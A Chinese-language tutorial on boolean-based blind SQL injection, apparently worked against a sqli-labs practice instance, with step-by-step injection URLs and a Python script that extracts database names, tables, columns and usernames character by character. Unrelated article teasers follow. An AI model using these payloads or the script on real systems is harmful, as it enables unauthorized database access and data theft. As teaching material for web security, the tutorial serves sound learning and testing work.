SQL注入之布尔盲注

news2024/10/5 22:23:29

SQL注入之布尔盲注

  • 一、布尔盲注介绍
  • 二、布尔盲注的特性
  • 三、布尔盲注流程
    • 3.1、确定注入点
    • 3.2、判断数据库的版本
    • 3.3、判断数据库的长度
    • 3.4、猜解当前数据库名称(本步骤需要重复)
    • 3.5、猜解数据表的数量
    • 3.6、猜解第一个数据表名称的长度
    • 3.7、猜解第一个数据表名称的字符
    • 3.8、猜解数据表中字段的数量
    • 3.9、猜解第一个数据表名中字段的长度
    • 3.10、猜解第一个数据表中字段的字符
    • 3.11、获取字段中的记录
  • 四、布尔盲注的脚本

一、布尔盲注介绍

盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。

“基于布尔判断的盲注”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值仅有空和非空两种状态),类似布尔型的true和false的两种状态(true为非空,false为空);类似于无法开口说话的人,只能通过点头和摇头来告诉你答案正确与否。

二、布尔盲注的特性

在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

在这里插入图片描述

在这里插入图片描述

三、布尔盲注流程

3.1、确定注入点

方法一:通过增加'"、注释符,如果语句从执行失败到执行成功则说明存在注入点。

  • ?id=1
    在这里插入图片描述

  • ?id=1'
    在这里插入图片描述

  • ?id=1''
    在这里插入图片描述

说明存在注入点,且闭合类型为单引号(若闭合类型是双引号,使用单引号像上面所示进行尝试,3个页面都会显示正确)

方法二:

?id=1 and 1=1 
?id=1 and 1=2 
如果上面两句页面出现的结果不一样,说明没有闭合方式,是数字型
  • 解释:为什么不是数字型(是字符型)注入的时候,上面两句的结果会一样。
    • 隐式类型转换:
      • ?id=‘1asdf’ ===> ?id=‘1’
      • ?id=‘1’ ===> ?id=‘1’
      • ?id=‘a’ ===> ?id=‘97’
      • ?id=‘12abc’ ===>?id=‘12’
      • ?id=‘12ab3bc’ ===> ?id=‘12’
      • ?id='1 and 1=1' ===> ?id='1'
      • ?id='1 and 1=2' ===> ?id='1'
?id=1' and 1=1 #
?id=1' and 1=2 #
如果上面两句页面出现的结果不一样,说明闭合方式是单引号,是字符型

3.2、判断数据库的版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;

  • 会使用到left函数:返回从字符串开始位置指定数量的字符(包含空格)。
LEFT(string_expression, count)
#string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果。
#count  是整数, 表示从字符串开始位置到结束,返回的字符数量
例如:
select left('5.5.53',1) --> 5
select left('5.5.53',2) --> 5.

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and left(version(),1)=5--+
  • 页面回显正确,说明数据库版本大于5,可以进行注入。

3.3、判断数据库的长度

方法:由于无法回显数据,先使用length()判断当前数据库的长度,减小后面猜解数据库名称的工作量;

  • 使用到length函数,判断数据库的长度。
    在这里插入图片描述
http://47.109.71.232:8080/Less-8/?id=1' and length(database())>10--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length(database())=8--+

3.4、猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合ascii()substr()函数,一个一个字符猜解,利用二分法;

  • substr() 从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
substr(obj,start,length)
#obj:从哪个内容中截取,可以是数值或字符串。
#start:从哪个字符开始截取(1开始,而不是0开始)
#length:截取几个字符(空格也算一个字符)。

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))>110--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

3.5、猜解数据表的数量

方法:count()函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=5--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

3.6、猜解第一个数据表名称的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

3.7、猜解第一个数据表名称的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

3.8、猜解数据表中字段的数量

方法:count()函数,利用二分法;
在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="emails")=2--+

3.9、猜解第一个数据表名中字段的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1))=2 --+

3.10、猜解第一个数据表中字段的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1,1))=105--+

3.11、获取字段中的记录

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+

四、布尔盲注的脚本

import requests
import string

url = "http://47.109.71.232:8080/Less-8/?id="
# select = "select database()"
# select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):
    for ch in string.ascii_letters + string.digits + ",:}{_":
        payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
        r = requests.get(url = url + payload)
        if "You are in" in r.text:
            result += ch
            print(result)
            break
        if ch == "_":
            print("[***] 注入完成")
            exit(0)

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/812738.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【React】关于组件之间的通讯

🌟组件化:把一个项目拆成一个一个的组件,为了便与开发与维护 组件之间互相独立且封闭,一般而言,每个组件只能使用自己的数据(组件状态私有)。 如果组件之间相互传参怎么办? 那么就要…

Python 算法交易实验65 算法交易二三事

说明 对算法交易的一些内容做一些回顾和反思吧。 老规矩,先chat一下 道理说的都对,如果要补充就推荐再看一本书量化交易:如何建立自己的算法交易事业,我觉得这样就比较完整了。 简单来说,把量化当成事业,而不是一种投机&#…

一起学算法(计算排序篇)

概念: 计数排序(Counting sort)是一个非基于比较稳定的线性时间的排序算法 非基于比较:之前学的排序都是通过比较数据的大小来实现有序的,比如希尔排序等,而计数排序不需要比较数据的大小而进行排序&…

数据结构:谈快速排序的多种优化和非递归展开,以及排序思想归纳

文章目录 写在前面快速排序的基本体系快速排序的优化快速排序的非递归实现排序分类总结插入排序选择排序交换排序归并排序 写在前面 快速排序作为效率相当高的排序算法,除了对于特殊数据有其一定的局限性,在大多数应用场景中都有它特有的优势和应用&…

PHP8的数据类型转换-PHP8知识详解

什么是数据类型转换? 答:数据从一个类型转换成另外一个类型,就是数据类型转换。 在PHP8中,变量的类型就是由赋值决定的,也就是说,如果 string 赋值给 $var,然后 $var 的类型就是 string。之后…

Python:给MySQL创建1000张表和创建1张有50个字段的表

1、创建1000张表 import pymysqldbhost "10.1.1.143" dbuser "root" dbpassword "123456" dbname "demo_cg1000" dbport 3306 dbconn pymysql.connect(hostdbhost, userdbuser, passworddbpassword, dbdbname, portdbport)mycu…

前端学习--vue2--2--vue指令基础

写在前面: 前置内容 - vue配置 文章目录 插值表达式v-html条件渲染v-show和v-ifv-ifv-if的扩展标签复用组件 v-show v-on /事件v-bind /:属性v-modelv-for 循环元素v-slotv-prev-cloak vue指令只的是带有v-前缀的特殊标签属性 插值表达式 插值表达式{…

【MATLAB第62期】基于MATLAB的PSO-NN、BBO-NN、前馈神经网络NN回归预测对比

【MATLAB第62期】基于MATLAB的PSO-NN、BBO-NN、前馈神经网络NN回归预测对比 一、数据设置 1、7输入1输出 2、103行样本 3、80个训练样本,23个测试样本 二、效果展示 NN训练集数据的R2为:0.73013 NN测试集数据的R2为:0.23848 NN训练集数据的…

【机器学习】Feature Engineering and Polynomial Regression

Feature Engineering and Polynomial Regression 1. 多项式特征2. 选择特征3. 缩放特征4. 复杂函数附录 首先,导入所需的库: import numpy as np import matplotlib.pyplot as plt from lab_utils_multi import zscore_normalize_features, run_gradien…

qt添加图标

1.添加资源 选择QtWidgetsApp.qrc文件打开 添加图标文件路径 添加图标文件 2.按钮添加图标 图标路径为:/res/res/swicth.jpg (1)代码设置图标 ui.pushButton_OPen->setIcon(QIcon(":/res/res/swicth.jpg")); (2)属…

设计模式:生成器模式

这个模式书上讲的比较简单,但是感觉精华应该是讲到了。 引用下其它博客的总结:生成器模式的核心在于分离构建算法和具体的构造实现,从而使得构建算法可以重用。 【设计模式】建造者模式_鼠晓的博客-CSDN博客

27 用linprog、fmincon求 解线性规划问题(matlab程序)

1.简述 ① linprog函数: 求解线性规划问题,求目标函数的最小值, [x,y] linprog(c,A,b,Aeq,beq,lb,ub) 求最大值时,c加上负号:-c ② intlinprog函数: 求解混合整数线性规划问题, [x,y] intl…

AI+低代码:开启普惠人工智能时代的新篇章

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

mac pd安装ubuntu并配置远程连接

背景 一个安静的下午,我又想去折腾点什么了。准备学习一下k8s的,但是没有服务器。把我给折腾的,在抱怨了:为什么M系列芯片的资源怎么这么少。 好在伙伴说,你可以尝试一下ubantu。于是,我只好在我的mac上安…

https协议 和 Charles 进行https抓包原理

1.对称加密 其变成复杂的加密密文发送出去。收信方收到密文后,若想解读原文,则需要使用加密用过的密钥及相同算法的逆算法对密文进行解密,才能使其恢复成可读明文。在对称加密算法中,使用的密钥只有一个,发收信双方都…

C++——继承(1)详解

目录 1.继承的含义 2.继承的定义: 3.继承方式 例子1:基类的访问限定符为public,两个派生类的继承方式分别为public、protected时: 例子2: 基类的访问限定符为protected,两个派生类的继承方式分别为pub…

细讲TCP三次握手四次挥手(三)

TCP/IP 协议族 在互联网使用的各种协议中最重要和最著名的就是 TCP/IP 两个协议。现在人们经常提到的 TCP/IP 并不一定是单指 TCP 和 IP 这两个具体的协议,而往往是表示互联网所使用的整个 TCP/IP 协议族。 互联网协议套件(英语:Internet Pr…

【前端知识】React 基础巩固(四十一)——手动路由跳转、参数传递及路由配置

React 基础巩固(四十一)——手动路由跳转、参数传递及路由配置 一、实现手动跳转路由 利用 useNavigate 封装一个 withRouter(hoc/with_router.js) import { useNavigate } from "react-router-dom"; // 封装一个高阶组件 function withRou…

iOS--runtime

什么是Runtime runtime是由C和C、汇编实现的一套API,为OC语言加入了面向对象、运行时的功能运行时(runtime)将数据类型的确定由编译时推迟到了运行时平时编写的OC代码,在程序运行过程中,最终会转换成runtime的C语言代…

操作系统5

设备管理 I/O设备 什么是?--- 将数据Input/Output(输入/输出)计算机的外部设备。 分类: 按使用特性:人机交互类外设、存储设备、网络通信设备; 按传输速度:低速、中速、高速设备; 按信息交换的单位:块设备、字符设备。 1. 块设备和字符设备的区别? 答:块设备…